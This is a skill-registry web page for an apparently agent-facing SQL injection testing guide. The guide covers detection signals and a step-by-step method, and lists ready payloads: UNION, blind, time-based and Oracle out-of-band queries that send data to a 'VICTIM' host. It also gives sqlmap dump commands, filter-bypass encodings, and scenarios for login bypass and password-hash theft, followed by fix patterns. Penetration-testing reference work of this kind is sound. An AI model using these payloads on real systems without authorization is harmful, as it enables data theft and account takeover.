sql-injection
Skill22 starsChanged 6 months agoMITView on GitHub
SQL injection occurs when untrusted user input is interpolated directly into database queries, allowing attackers to alter query logic. Detect via single-quote errors, boolean-based blind responses (AND 1=1 vs AND 1=2), time-delay payloads (SLEEP, WAITFOR), UNION column enumeration, and error messages from MySQL, Oracle, MSSQL, PostgreSQL. Tools: sqlmap, sqlbftools, Burp Suite, wfuzz with SQLi fuzz strings.
4 other projects use a version of this.
Adopted by
Most recently taken up by
- awarexone/AXguardtheir own version, first seen Sep 15, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
- YepAPI/skillstheir own version, first seen Apr 12, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 4
- awarexone/AXguard★ 18same name
- YepAPI/skills★ 8same name
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository353 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- bb-hugeSkill
- 2fa-multi-factor-bypassSkill
- 401-403-bypass-techniquesSkill
- Access Control — Complete Deep DiveSkill
- active-directory-acl-abuseSkill
- active-directory-asreproastingSkill
- active-directory-certificate-servicesSkill
- active-directory-dcsync-attackSkill
- active-directory-full-attack-chainSkill
- active-directory-golden-ticketSkill
- active-directory-kerberoastingSkill
- active-directory-kerberos-attacksSkill
- ad-asreproast-attackSkill
- ad-assessmentSkill
- ad-cs-esc1-abuseSkill
- ad-dcsync-attackSkill
- ad-pass-the-hashSkill
- advanced-sql-injection-sqliSkill
- ai-agent-tool-abuse-and-privilege-escalationSkill
- ai-data-extraction-via-ssrfSkill
- ai-data-poisoning-model-skewingSkill
- ai-data-poisoningSkill
- ai-jailbreak-obfuscation-ciphersSkill
- ai-jailbreak-prompt-injectionSkill
- ai-jailbreak-system-promptsSkill
- aikido-triageSkill
- ai-ml-securitySkill
- ai-pair-hunting-with-claudeSkill
- ai-prompt-leakingSkill
- ai-redteamSkill
- ai-report-writing-guardrailsSkill
- amend-skillSkill
- amsi-bypassSkill
- analyze-cveSkill
- android-apk-reverse-engineeringSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authentication-bypassSkill
- api-authorization-and-bolaSkill
- api-enumeration-fuzzing-discoverySkill
- api-mass-assignment-exploitationSkill
- api-rate-limit-bypass-techniquesSkill
- api-recon-and-docsSkill
- api-secSkill
- api-securitySkill
- API Testing — Deep DiveSkill
- arbitrary-write-to-rceSkill
- authbypass-authentication-flawsSkill
- auth-bypassSkill
- Authentication — Complete Deep DiveSkill
- auth-secSkill
- authz-bypassSkill
- av-edr-evasion-techniquesSkill
- aws-cloud-penetration-testingSkill
- aws-cognito-abuseSkill
- aws-iam-privilege-escalationSkill
- aws-imdsv2-ssrf-bypassSkill
- aws-metadata-ssrf-exploitationSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
1 rule. 0 are common, 0 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
0
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 37
Test stacked queries where supported: .
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SQL Injection
What Is Broken and Why
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.
Key Signals
- Single quote
'or semicolon;in a parameter returns a database error or anomalous response AND 1=1returns normal content;AND 1=2returns empty/different content- Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
ORDER BY N--incrementing until an error reveals column count- Delayed response to
SLEEP(5)orWAITFOR DELAY '0:0:5' - Application encodes or strips
'but not--or/**/
Methodology
- Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
- Submit
',",;,--,/* */individually and observe response differences (errors, blank pages, changed content). - Confirm with boolean pair: append
AND 1=1--(true) vsAND 1=2--(false). - Determine column count with
ORDER BY 1--, incrementing until error. - Find injectable columns with
UNION SELECT null,null,...--substitutingnullwith1or'a'to locate string columns. - Extract data:
UNION SELECT table_name,null FROM information_schema.tables-- - For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
- For error-based (Oracle): use
UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)). - Test stacked queries where supported:
; INSERT INTO .... - Escalate to OS interaction if database user has sufficient privileges.
Payloads & Tools
# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--
# Column count
TARGET/page?id=10 ORDER BY 5--
# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--
# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--
# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--
# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--
# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--
# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2Bypass Techniques
- Whitespace substitution:
OR/**/1=1,OR\n1=1,OR\t1=1 - Comment fragmentation:
UN/**/ION/**/SE/**/LECT - Null byte prefix:
%00' UNION SELECT ... - URL encoding:
%27for',%20for space,%2D%2Dfor-- - Double URL encoding:
%2527→%27→' - Hex encoding:
SELECT user FROM users WHERE name=unhex('61646d696e') char()encoding:char(97,100,109,105,110)= "admin"- Case variation:
SeLeCt,uNiOn - MSSQL string concat:
EXEC('SEL'+'ECT 1') - Alternative boolean expressions:
OR 'x'='x',OR 2>1,1||1=1,1&&1=1,OR 2 BETWEEN 1 AND 3 - HTTP Parameter Pollution: split payload across duplicate parameters
Exploitation Scenarios
Scenario 1 — Authentication Bypass
Setup: Login form passes username/password directly into SELECT * FROM users WHERE user='$u' AND pass='$p'.
Trigger: Submit username admin'-- with any password. Query becomes WHERE user='admin'--' AND pass='...', commenting out the password check.
Impact: Full admin account access without valid credentials.
Scenario 2 — Data Exfiltration via UNION
Setup: Product search page reflects one database field; column count is 3; column 2 is a string.
Trigger: TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
Impact: All username/password hashes returned in the product name field.
Scenario 3 — Blind Time-Based Credential Extraction
Setup: No visible output; application returns 200 for all responses.
Trigger: TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- — iterate characters observing latency.
Impact: Full password hash extraction character by character.
False Positives
- Apostrophes in legitimate product names causing syntax errors unrelated to injection
- Slow queries caused by missing indexes, not SLEEP payloads
- Generic 500 errors on all invalid input (not SQL-specific)
- WAF-generated error pages that mimic database errors
Fix Patterns
- Parameterized queries / prepared statements in all database interactions:
SELECT * FROM users WHERE id = ? - ORM usage with no raw string interpolation
- Stored procedures with typed parameters (not dynamic SQL within the procedure)
- Input validation as defense-in-depth (not sole protection)
- Least-privilege database accounts (no xp_cmdshell, no FILE privilege)
- Disable detailed database error messages in production
Related Skills
[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (LOAD_FILE), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

